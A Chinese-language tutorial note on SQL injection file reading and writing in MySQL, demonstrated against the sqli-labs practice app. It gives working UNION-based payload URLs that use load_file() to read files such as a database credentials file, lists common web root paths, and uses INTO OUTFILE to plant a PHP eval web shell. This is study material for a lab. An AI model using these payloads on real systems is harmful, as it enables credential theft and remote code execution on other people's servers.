SQL注入之文件读写(四)
文件读写注入的原理
就是利用文件的读写权限进行注入,它可以写一句话木马,也可以读取系统文件的敏感信息
高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
secure_file_priv
代表对文件读写没有限制
secure_file_priv=NULL
代表不能进行文件读写
secure_file_priv=d:/phpstud/mysql/data
代表只能对该路径下文件进行读写
show global variables like '%secure%'; 查看mysql全局变量的配置
要有高权限
读取文件
使用函数:load_file()
后面的路径可以是单引号,0x,char转换的字符
注意:路径中斜杠是/
一般可以与union中作为一个字段使用,查看config.php即mysql的密码
select load_file('f:/exec.txt');
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,load_file('d:/d.txt'),3
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,load_file(0x643a2f642e747874),3
643A2F642E747874
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,load_file('D:\\phpStudy\\PHPTutorial\\WWW\\sql-labs\\sql-connections\\db-creds.inc'),3
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,load_file('D:/phpStudy/PHPTutorial/WWW/sql-labs/sql-connections/db-creds.inc'),3
网站的绝对路径
windows常见:
phpstudy phpstudy/www
phpstudy/PHPTutorial/www
Xampp xampp/htodcs
Wamp wamp/www
Appser appser/www
Linux常见:
var/mysql/data
var/www/html
路径获取常见方式:
报错显示,遗留文件,漏洞报错,平台配置文件等
写入文件
使用函数:
into outfile 能写入多行,按格式输出
into dumpfile只能写入一行且没有输出格式
注意:
outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径
?id=-1 union select 1,'heshuai',3 into outfile 'd:/1.txt' --+
将1,'heshuai',3写入1.txt中
写入木马文件
?id=-1 union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile 'd:/1.php' --+
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile 'd:/1.php' --+